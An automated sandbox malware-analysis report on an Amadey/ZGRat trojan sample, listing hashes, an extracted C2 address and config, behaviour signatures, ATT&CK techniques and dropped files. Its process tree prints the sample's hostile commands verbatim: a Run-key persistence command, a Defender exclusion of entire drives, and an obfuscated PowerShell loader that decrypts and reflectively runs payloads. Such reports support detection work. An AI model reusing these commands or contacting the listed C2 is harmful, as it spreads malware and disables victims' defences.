amadey | cb80f3f8dbdf12c6929acd19d547b1c0278e7b71a4e2bcf232a7776cf1c287df

Analysis

max time kernel
88s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
25/01/2024, 01:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ama.exe
Size 4.9MB
Sample240125-ced55sdgf9
SHA256 cb80f3f8dbdf12c6929acd19d547b1c0278e7b71a4e2bcf232a7776cf1c287df
MD5 85bacd21ce284a3ff3151da33c84d43b
SHA1 cbcad3397fd1034028ebe3cc7c4ef87680e3aae7
SHA512 2d18c893381c5552c6587c17029a32c8f7b1e5ee180075f65e96734cc33eb0f19dbdb8fa4c13aa2883b30ebf4d92512b3f4703b8b2c61f1754d35960e325cc6b
SSDEEP 49152:1lilFnSFg4qVKrQ0buQfHyGGMRTQ/xy8JL3BrrV8GqMOYVFXOuVhGdqCDdWLLxFo:nifgOCpRew8nzmNuVUDZWyzugj
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

amadey zgrat persistence rat trojan

Malware Config

Extracted

Family

amadey

Version

4.15

http://185.172.128.63

Attributes

install_dir
6187fcb526
install_file
Dctooux.exe
strings_key
cd3b2619c9009c441355ae581d53163e
url_paths
/v8sjh3hs8/index.php

rc4.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Detect ZGRat V1 1 IoCs

resource	yara_rule
behavioral2/memory/4032-1-0x0000000000820000-0x0000000000D10000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Executes dropped EXE 2 IoCs

pid	Process
4340	sc.exe
4392	425v404v.eiv.exe

Loads dropped DLL 2 IoCs

pid	Process
4032	ama.exe
1252	sc.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Annual_plan_and_company_development = "C:\\Users\\Admin\\AppData\\Local\\Annual_plan_and_company_development\\Annual_plan_and_company_development.exe"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sc.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1001078001\\sc.exe"	RegSvcs.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4032 set thread context of 2688	4032	ama.exe	99
PID 4340 set thread context of 4420	4340	sc.exe	108

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4340	sc.exe
1252	sc.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
216	powershell.exe
216	powershell.exe
4304	powershell.exe
4304	powershell.exe
4304	powershell.exe
2944	powershell.exe
2944	powershell.exe
2944	powershell.exe
4340	sc.exe
4340	sc.exe
4340	sc.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
4420	cmd.exe
4420	cmd.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
4340	sc.exe
4420	cmd.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	216	powershell.exe
Token: SeDebugPrivilege	4304	powershell.exe
Token: SeDebugPrivilege	2944	powershell.exe
Token: SeDebugPrivilege	1296	powershell.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 4032 wrote to memory of 2688	4032	ama.exe	99
PID 4032 wrote to memory of 2688	4032	ama.exe	99
PID 4032 wrote to memory of 2688	4032	ama.exe	99
PID 4032 wrote to memory of 2688	4032	ama.exe	99
PID 4032 wrote to memory of 2688	4032	ama.exe	99
PID 4032 wrote to memory of 2688	4032	ama.exe	99
PID 4032 wrote to memory of 2688	4032	ama.exe	99
PID 4032 wrote to memory of 2688	4032	ama.exe	99
PID 4032 wrote to memory of 2688	4032	ama.exe	99
PID 4032 wrote to memory of 2688	4032	ama.exe	99
PID 4032 wrote to memory of 216	4032	ama.exe	97
PID 4032 wrote to memory of 216	4032	ama.exe	97
PID 4032 wrote to memory of 216	4032	ama.exe	97
PID 2688 wrote to memory of 676	2688	RegSvcs.exe	100
PID 2688 wrote to memory of 676	2688	RegSvcs.exe	100
PID 2688 wrote to memory of 676	2688	RegSvcs.exe	100
PID 676 wrote to memory of 640	676	cmd.exe	105
PID 676 wrote to memory of 640	676	cmd.exe	105
PID 676 wrote to memory of 640	676	cmd.exe	105
PID 640 wrote to memory of 4720	640	cmd.exe	103
PID 640 wrote to memory of 4720	640	cmd.exe	103
PID 640 wrote to memory of 4720	640	cmd.exe	103
PID 640 wrote to memory of 4304	640	cmd.exe	102
PID 640 wrote to memory of 4304	640	cmd.exe	102
PID 640 wrote to memory of 4304	640	cmd.exe	102
PID 4304 wrote to memory of 2944	4304	powershell.exe	106
PID 4304 wrote to memory of 2944	4304	powershell.exe	106
PID 4304 wrote to memory of 2944	4304	powershell.exe	106
PID 2688 wrote to memory of 4340	2688	RegSvcs.exe	107
PID 2688 wrote to memory of 4340	2688	RegSvcs.exe	107
PID 4340 wrote to memory of 4420	4340	sc.exe	108
PID 4340 wrote to memory of 4420	4340	sc.exe	108
PID 4340 wrote to memory of 4420	4340	sc.exe	108
PID 4304 wrote to memory of 1296	4304	powershell.exe	110
PID 4304 wrote to memory of 1296	4304	powershell.exe	110
PID 4304 wrote to memory of 1296	4304	powershell.exe	110
PID 4304 wrote to memory of 4392	4304	powershell.exe	112
PID 4304 wrote to memory of 4392	4304	powershell.exe	112
PID 4304 wrote to memory of 4392	4304	powershell.exe	112
PID 4340 wrote to memory of 4420	4340	sc.exe	108
PID 4420 wrote to memory of 1252	4420	cmd.exe	113
PID 4420 wrote to memory of 1252	4420	cmd.exe	113
PID 4420 wrote to memory of 1252	4420	cmd.exe	113

C:\Users\Admin\AppData\Local\Temp\ama.exe
"C:\Users\Admin\AppData\Local\Temp\ama.exe"
1⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4032
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Annual_plan_and_company_development';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Annual_plan_and_company_development' -Value '"C:\Users\Admin\AppData\Local\Annual_plan_and_company_development\Annual_plan_and_company_development.exe"' -PropertyType 'String'
  2⤵
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:216
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  2⤵
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:676
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:640
- - C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe
    "C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Launches sc.exe
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:4340
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\SysWOW64\cmd.exe
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:4420
    - - C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe
        
        C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe
        5⤵
        Loads dropped DLL
        Launches sc.exe
        
        PID:1252

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4304
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2944
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1296
- C:\Users\Admin\AppData\Local\Temp\425v404v.eiv.exe
  "C:\Users\Admin\AppData\Local\Temp\425v404v.eiv.exe"
  2⤵
  - Executes dropped EXE
  PID:4392

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd';$RfUL='SplstIeistIetstIe'.Replace('stIe', ''),'TrfmgKafmgKnfmgKsfmgKfofmgKrfmgKmFfmgKinafmgKlBfmgKlofmgKckfmgK'.Replace('fmgK', ''),'DecHsSjomHsSjpHsSjrHsSjessHsSj'.Replace('HsSj', ''),'EleBZnKmBZnKeBZnKntBZnKAtBZnK'.Replace('BZnK', ''),'ReGrwradGrwrLiGrwrnGrwreGrwrsGrwr'.Replace('Grwr', ''),'CIOLbopIOLbyIOLbTIOLboIOLb'.Replace('IOLb', ''),'FrpwLNompwLNBapwLNspwLNepwLN6pwLN4SpwLNtpwLNripwLNnpwLNgpwLN'.Replace('pwLN', ''),'LZaAAoZaAAaZaAAdZaAA'.Replace('ZaAA', ''),'IswsYnswsYvokswsYeswsY'.Replace('swsY', ''),'MayHpwinyHpwMoyHpwduyHpwleyHpw'.Replace('yHpw', ''),'EnfcpnnfcptrynfcpPnfcponfcpinnfcptnfcp'.Replace('nfcp', ''),'GKVjZetCKVjZurKVjZrKVjZenKVjZtPrKVjZocKVjZessKVjZ'.Replace('KVjZ', ''),'CmmRYhanmmRYgmmRYeExmmRYtenmmRYsmmRYimmRYonmmRY'.Replace('mmRY', ''),'CrewBkzatwBkzeDwBkzecwBkzrywBkzptwBkzowBkzrwBkz'.Replace('wBkz', '');powershell -w hidden;function HYZRs($YjbML){$FKFbd=[System.Security.Cryptography.Aes]::Create();$FKFbd.Mode=[System.Security.Cryptography.CipherMode]::CBC;$FKFbd.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$FKFbd.Key=[System.Convert]::($RfUL[6])('2M0fT7QfMAGeiJeE2Y8HU5skhkMH0OcAFA0SFzRHVws=');$FKFbd.IV=[System.Convert]::($RfUL[6])('Wv0CCTjoJ02lflet8TKTGg==');$qvWHS=$FKFbd.($RfUL[13])();$UQnTy=$qvWHS.($RfUL[1])($YjbML,0,$YjbML.Length);$qvWHS.Dispose();$FKFbd.Dispose();$UQnTy;}function tsjtk($YjbML){$KLabx=New-Object System.IO.MemoryStream(,$YjbML);$CeqVN=New-Object System.IO.MemoryStream;$OFOrH=New-Object System.IO.Compression.GZipStream($KLabx,[IO.Compression.CompressionMode]::($RfUL[2]));$OFOrH.($RfUL[5])($CeqVN);$OFOrH.Dispose();$KLabx.Dispose();$CeqVN.Dispose();$CeqVN.ToArray();}$xZSiw=[System.IO.File]::($RfUL[4])([Console]::Title);$VwJSg=tsjtk (HYZRs ([Convert]::($RfUL[6])([System.Linq.Enumerable]::($RfUL[3])($xZSiw, 5).Substring(2))));$NGyKN=tsjtk (HYZRs ([Convert]::($RfUL[6])([System.Linq.Enumerable]::($RfUL[3])($xZSiw, 6).Substring(2))));[System.Reflection.Assembly]::($RfUL[7])([byte[]]$NGyKN).($RfUL[10]).($RfUL[8])($null,$null);[System.Reflection.Assembly]::($RfUL[7])([byte[]]$VwJSg).($RfUL[10]).($RfUL[8])($null,$null); "
1⤵
PID:4720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 0c45700b2e83b229e25383569b85ddc0107450c43443a11633b53daf1aaed953
MD5 9faf6f9cd1992cdebfd8e34b48ea9330
SHA1 ae792d2551c6b4ad5f3fa5585c0b0d911c9f868e
SHA512 05b34627f348b2973455691bcb7131e4a5236cfece653d22432746ccd14d211b9b279f0913fbd7bb150f00eb2f2c872f4f5518f3903e024699fd23c50d679e97
MD5 SHA1 SHA512

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 20KB
SHA256 94467436b14d4d7af47af569078353a8237c1ba10c5a297673edb6b5669f4ac9
MD5 87d9eb568eacafa9e1e407d1b995942a
SHA1 43ddeee9d17a612176bd961a285d0e3cf288efd4
SHA512 0f546684969cc7b6a7d7f4bf54ebd80d1b1f8deea6829f59a3060dd5b44d32c847bef6934b9911571af75104d3c5329905922433752b6f077a238e8609c2171e
SSDEEP 384:Gb+Cy+Q9i+j95T2JC+YLgo9oE3T7K6seYbneCx/xoTLYbLU0Sw59t9KL/9JckUoA:CtyX9UFY5oE3T7N+nl0Y/XD9t9yVQR
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 b706d01f443e400d869580e221b7b35596c4b6b324019fad61380bbd204a1d9b
MD5 ea600dd18f9f0f6bd058ca2b2cad57c1
SHA1 47813ab11b592bd0197f0e0a72cb90e3fa10fe39
SHA512 14df993f1e9ecec5acb19a2a642ad358a888e8d9ff605941a3c82c91518c3ffe7e1bbb3df28dc0a044c3ec936fffa7396d9bffd2bbedf776760690fad2cd3dfa
SSDEEP 384:9sf+BQT9i+oBCaDmttJ3UOYo9otaNK6seYkME/Va3SoeXfYxg0jEfk+Q0gd2tkKX:if5YBQPUIotaNNLrASh9KEfDCI9
MD5 SHA1 SHA512 SSDEEP

Submit Download

DoNothing.cmd

Path C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd
Size 229KB
SHA256 9e9a0c51690263b2ff0f61f96a684725df65eb0ef8cf6fdcf400814f7634dfd1
MD5 4c2a5540e7e7adb88c94df8e1967c468
SHA1 979725fcb62a3492d7dbd3bfdc75e51087dc677b
SHA512 7a964e6b10260854b18f4aa3af09e52d4a992bb4f7066f7e51b268696e8be5d405cce1e9dd392e70c2f321072a263dd9511d1c71cdf660449d786ec9c4bd3861
SSDEEP 6144:Lw9eynETNBLMJSgt9Zu+9aVg21lbBuuCjGo4u4PMrXr:5TLM7cb4uCy+37
MD5 SHA1 SHA512 SSDEEP

Submit Download

sc.exe

Path C:\Users\Admin\AppData\Local\Temp\1001035001\sc.exe
Size 72KB
SHA256 1b94678c80fae40e03ffd744b74bf932bff2d3e031b280065381f730a1111733
MD5 327aded4128af67ac02388bfe4548b36
SHA1 51b5ab09f8fbdfdd0c742a36a89238e2437fadbd
SHA512 356fa4e71ec1b0ad48f44138b061907b8f91c62db3454c3762ca4ce0e41a386b8a325c00d6e0f65a75cd670506499b4c6b635b48ccd267997aa700a2d8ad1132
SSDEEP 1536:yEQ8a5o41p3XaEGnq0S/iz0wTeXdIlAiwzJlwZDn6ZIN/t87QMbLTO4Z9fY1Vq2F:jy5o4f3XUnq08iz0wTeUwzPwVn6ZINFF
MD5 SHA1 SHA512 SSDEEP

Submit Download

sc.exe

Path C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe
Size 78KB
SHA256 62c81a7e2a6b42d16c91ea7f21659181d31956b265c52c86cac4a18af930c6f4
MD5 0b9cecf85313b97755869d9166bf6228
SHA1 d23029e8015cac5f99828acb552d7b8cd8116862
SHA512 dfdfaedf8dde8a8c4e950bd5b20460f41a61293cc56d6e312aa1989e53784427f9cc5babe2bb45d33f35b2a984bc5dd3db0bdfa3f76eb61ab741de1a62404e73
SSDEEP 768:noZSKMh2XrgmbBVk4wafS2M3jeKwU9fpkS/20x8f7tDIM3jb8EQE0PmfsJUj+ZRX:nQcOAjwYfp80x8f7tDrcqiH8jbmO1AvJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

sc.exe

Path C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe
Size 353KB
SHA256 098d31368dbc923041a9ef7fb65efed76b8fc14d1b695cd3a9491c01cdf1498c
MD5 a7485d4e3bc2399ca0565011cfca14a5
SHA1 00e695cc3edf0290ad080f7a3d3e60cdcc70a3af
SHA512 e710a2c07681045c3ab5f697f631140e5c29a06c0b5b0e56c096389ae991cc80cc3782cd82114dd416a371c0718afb678db5c833eb3758f1d22eeef342772773
SSDEEP 6144:/jrWM8BPFE8OdD+QQ3pKFVHhNGEVcmWY2lHrEfsmpHF3U+gFY7JaqTSO8TYOWd21:N8g8OdDIpKFVPGEVcmWY2lLEfsmpHF3K
MD5 SHA1 SHA512 SSDEEP

Submit Download

sc.exe

Path C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe
Size 702KB
SHA256 197907655a3eb23083addc28348e9a12ef76ac1565635695a942f7bbc3709618
MD5 e17ca01d75d02642b58a906ea5c9e769
SHA1 7470c07b9cf5e1f813480f177f0d5cf7a4ca8b50
SHA512 561a942ab1ea598ee0248b539112b61abbc5e76d6397bea843772f7de9f92e18495105419103883328e3618df06c7349f55e2e3c13d50d8259919f8cfba98fe9
SSDEEP 12288:N8g8OdDIpKFVPGEVcmWY2lLEfsmpHF3U+gFY7JaqTSORdVFLsf1SyOtE6fh84Y1v:N8tYzPKod2UyOtEIh85b6vBIF
MD5 SHA1 SHA512 SSDEEP

Submit Download

sc.exe

Path C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe
Size 1.4MB
SHA256 c5e71ca1dcfe7975449a25d339036f3720b0b72aa52d8794b024442216487a4d
MD5 9e1d9449d92d69c51a605225410f46f9
SHA1 f6e4d110f48bb4264097dd3101ef791f2c3d01b0
SHA512 000904eeacc9cc086a9f666dc8cca356e4d1a0ec0fc79dd9032c1b37399a8d75585d4a9b874ca161a38675afe69fceb817482afba75f0e09fc11169fdf16227c
SSDEEP 24576:N8tYzPKod2UyOtEIh85b6vBIFPocvBlcjPPdoCmNIqS2IR0QQPyMzMZB84D:N8tOPKjp017vBIRvBluPdoCmNM2y08CU
MD5 SHA1 SHA512 SSDEEP

Submit Download

425v404v.eiv.exe

Path C:\Users\Admin\AppData\Local\Temp\425v404v.eiv.exe
Size 3KB
SHA256 1b5b29a86fbab96326253ed97583e699dd7476907418f018486c1abb4ec3aec2
MD5 bc665c443936ecbaccac579b2e336c09
SHA1 0ec27635b26a2a311568824be2bcad09e0ccd027
SHA512 2fee1859a5457d7d7230762eeb23d27db40223fdf793b09e9e704df34c6e4899b60d592c7026219582cd51c431a424eb040937c0ea033d27d9ecec8a630d336f
MD5 SHA1 SHA512

Submit Download

7e01c62c

Path C:\Users\Admin\AppData\Local\Temp\7e01c62c
Size 128KB
SHA256 000a4dd322dd8479c765fbc24fba2bd0e1a1952118dde9499e26d263316caab8
MD5 2464301d25595d166c6bfaa012756f9d
SHA1 8253cff7337877d1f92c25993c9314fc1416e736
SHA512 261cdd9bf060e7df8923d3acdcc2983416e4b9b103d358dae1952fd2b0e3a6b5b8774ef07e693140853412604bd7c93433f9699554c31b2ce21c7ffe3abd8a14
SSDEEP 1536:LDmKZpWx7irmc4r9l/PF5TxsoA0Ku5z2qpcrSIPe5IQxHVyK6eGwlxGTEQnr5QMf:fCc16F5TxsoSud0S4e5IQ1V6eG9Jr5d
MD5 SHA1 SHA512 SSDEEP

Submit Download

Protect544cd51a.dll

Path C:\Users\Admin\AppData\Local\Temp\Protect544cd51a.dll
Size 645KB
SHA256 390286329cc0db61b036832a29bc440fec9bbb2a3ba00f2c359243ab78a93427
MD5 f3d368af5f97cbcb86dd6392ae827b6e
SHA1 b3716e156971257c403b243f5b41d1d590cde9a0
SHA512 ca00f4e316d964c0ac5e5e467d5a6074b0e2934d04236dc7856b7349b6c2e5cf7387b0decd977142dfb8ddff727634f05f59c1b20e785faf97a6834d9fcc912e
SSDEEP 12288:wCMz4nuvURpZ4jR1b2Ag+dQMWCD8iN2+OeO+OeNhBBhhBBgoo+A1AW8JwkaCZ+3O:wCs4uvW4jfb2K90oo+C8JwUZcO
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_3opai2fe.umw.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3opai2fe.umw.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/216-92-0x0000000007730000-0x000000000774A000-memory.dmp

Download

memory/216-36-0x0000000005CE0000-0x0000000005D46000-memory.dmp

Download

memory/216-113-0x0000000007A90000-0x0000000007AB2000-memory.dmp

Download

memory/216-126-0x0000000074A30000-0x00000000751E0000-memory.dmp

Download

memory/216-29-0x0000000004DB0000-0x0000000004DE6000-memory.dmp

Download

memory/216-31-0x0000000074A30000-0x00000000751E0000-memory.dmp

Download

memory/216-34-0x0000000005440000-0x0000000005A68000-memory.dmp

Download

memory/216-33-0x0000000004E00000-0x0000000004E10000-memory.dmp

Download

memory/216-32-0x0000000004E00000-0x0000000004E10000-memory.dmp

Download

memory/216-35-0x00000000053E0000-0x0000000005402000-memory.dmp

Download

memory/216-42-0x0000000005D50000-0x0000000005DB6000-memory.dmp

Download

memory/216-47-0x0000000006020000-0x0000000006374000-memory.dmp

Download

memory/216-103-0x0000000007A50000-0x0000000007A58000-memory.dmp

Download

memory/216-76-0x000000007F7B0000-0x000000007F7C0000-memory.dmp

Download

memory/216-102-0x0000000007A70000-0x0000000007A8A000-memory.dmp

Download

memory/216-48-0x0000000006400000-0x000000000641E000-memory.dmp

Download

memory/216-101-0x0000000007970000-0x0000000007984000-memory.dmp

Download

memory/216-100-0x0000000007960000-0x000000000796E000-memory.dmp

Download

memory/216-49-0x0000000006440000-0x000000000648C000-memory.dmp

Download

memory/216-98-0x0000000007930000-0x0000000007941000-memory.dmp

Download

memory/216-94-0x00000000079B0000-0x0000000007A46000-memory.dmp

Download

memory/216-77-0x00000000073C0000-0x00000000073F2000-memory.dmp

Download

memory/216-93-0x00000000077A0000-0x00000000077AA000-memory.dmp

Download

memory/216-78-0x0000000071AB0000-0x0000000071AFC000-memory.dmp

Download

memory/216-91-0x0000000007D70000-0x00000000083EA000-memory.dmp

Download

memory/216-88-0x0000000006A00000-0x0000000006A1E000-memory.dmp

Download

memory/216-90-0x0000000007400000-0x00000000074A3000-memory.dmp

Download

memory/216-89-0x0000000004E00000-0x0000000004E10000-memory.dmp

Download

memory/1252-225-0x00007FF6E0AD0000-0x00007FF6E0B2A000-memory.dmp

Download

memory/1252-227-0x00007FF6E0AD0000-0x00007FF6E0B2A000-memory.dmp

Download

memory/1296-171-0x0000000005030000-0x0000000005040000-memory.dmp

Download

memory/1296-183-0x000000007F3A0000-0x000000007F3B0000-memory.dmp

Download

memory/1296-170-0x0000000074A30000-0x00000000751E0000-memory.dmp

Download

memory/1296-172-0x0000000005030000-0x0000000005040000-memory.dmp

Download

memory/2688-21-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2688-114-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2688-59-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2688-23-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2688-151-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2688-62-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2688-24-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2688-123-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2688-25-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2688-160-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2944-129-0x0000000004E20000-0x0000000004E30000-memory.dmp

Download

memory/2944-150-0x0000000074A30000-0x00000000751E0000-memory.dmp

Download

memory/2944-128-0x0000000074A30000-0x00000000751E0000-memory.dmp

Download

memory/2944-130-0x0000000004E20000-0x0000000004E30000-memory.dmp

Download

memory/4032-17-0x00000000056B0000-0x00000000056C0000-memory.dmp

Download

memory/4032-16-0x00000000056B0000-0x00000000056C0000-memory.dmp

Download

memory/4032-30-0x0000000074A30000-0x00000000751E0000-memory.dmp

Download

memory/4032-14-0x0000000005510000-0x0000000005520000-memory.dmp

Download

memory/4032-22-0x0000000007280000-0x0000000007380000-memory.dmp

Download

memory/4032-0-0x0000000074A30000-0x00000000751E0000-memory.dmp

Download

memory/4032-1-0x0000000000820000-0x0000000000D10000-memory.dmp

Download

memory/4032-15-0x00000000056B0000-0x00000000056C0000-memory.dmp

Download

memory/4032-2-0x00000000055F0000-0x000000000568C000-memory.dmp

Download

memory/4032-18-0x00000000056B0000-0x00000000056C0000-memory.dmp

Download

memory/4032-12-0x00000000056B0000-0x00000000056C0000-memory.dmp

Download

memory/4032-3-0x0000000074A30000-0x00000000751E0000-memory.dmp

Download

memory/4032-4-0x00000000056B0000-0x00000000056C0000-memory.dmp

Download

memory/4032-26-0x0000000007A30000-0x0000000007FD4000-memory.dmp

Download

memory/4032-6-0x0000000006E00000-0x0000000006F92000-memory.dmp

Download

memory/4032-13-0x00000000056B0000-0x00000000056C0000-memory.dmp

Download

memory/4032-5-0x0000000005AC0000-0x0000000005CCE000-memory.dmp

Download

memory/4032-20-0x0000000007280000-0x0000000007380000-memory.dmp

Download

memory/4032-19-0x0000000007280000-0x0000000007380000-memory.dmp

Download

memory/4304-65-0x0000000002A80000-0x0000000002A90000-memory.dmp

Download

memory/4304-64-0x0000000074A30000-0x00000000751E0000-memory.dmp

Download

memory/4304-168-0x0000000007780000-0x00000000077AE000-memory.dmp

Download

memory/4304-104-0x0000000007610000-0x0000000007686000-memory.dmp

Download

memory/4304-165-0x0000000005140000-0x000000000514A000-memory.dmp

Download

memory/4304-99-0x00000000067F0000-0x0000000006834000-memory.dmp

Download

memory/4304-66-0x0000000002A80000-0x0000000002A90000-memory.dmp

Download

memory/4304-167-0x00000000774D1000-0x00000000775F1000-memory.dmp

Download

memory/4340-216-0x00007FF9545D0000-0x00007FF954742000-memory.dmp

Download

memory/4340-164-0x00007FF9545D0000-0x00007FF954742000-memory.dmp

Download

memory/4340-162-0x00007FF7A5B50000-0x00007FF7A5CAF000-memory.dmp

Download

memory/4340-169-0x00007FF9545D0000-0x00007FF954742000-memory.dmp

Download

memory/4420-219-0x00007FF963790000-0x00007FF963985000-memory.dmp

Download

memory/4420-220-0x0000000075070000-0x00000000751EB000-memory.dmp

Download